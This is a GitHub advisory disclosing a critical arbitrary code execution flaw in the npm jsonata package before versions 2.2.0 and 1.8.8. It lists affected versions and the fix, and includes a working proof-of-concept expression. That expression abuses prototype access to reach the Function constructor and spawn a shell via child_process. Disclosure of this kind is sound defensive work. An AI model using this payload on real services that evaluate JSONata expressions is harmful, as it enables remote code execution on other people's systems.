GHSA-8gq3-vp5j-2grp

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Source: GitHub Advisory Database (reviewed) Critical CVE-2026-77413

Packages

Ecosystem	Package	Affected	Fixed in
npm	jsonata	< 1.8.8	1.8.8
npm	jsonata	>= 2.0.0, < 2.2.0	2.2.0

Details

As written in the advisory (Markdown source, shown as plain text).

## Impact Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `); await expression.evaluate({}); ```

References

External links from the advisory. They lead to third-party sites.